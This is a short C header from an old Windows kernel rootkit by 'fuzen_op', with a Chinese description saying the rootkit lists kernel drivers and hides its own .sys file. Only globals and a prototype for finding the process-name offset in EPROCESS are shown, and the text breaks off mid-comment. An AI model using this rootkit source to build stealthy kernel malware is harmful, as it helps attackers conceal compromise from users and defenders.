processname.h

windows rootkit,可以列举出内核驱动程序以及就可以把自己的.sys隐藏起来

///////////////////////////////////////////////////////////////////////////////////////
// Filename ProcessName.h
// 
// Author: fuzen_op
// Email:  [e-mail] or [e-mail]
//
// Description: Globals and function prototypes used by ProcessName.c
//
// Date:    5/27/2003
// Version: 1.0

ULONG gul_ProcessNameOffset;	 // Global variable set in DriverEntry

#define PROCNAMELEN 16           // In the EPROCESS struct the image name 
								 // is 16 characters long

ULONG GetLocationOfProcessName(PEPROCESS); // Get offset of process name in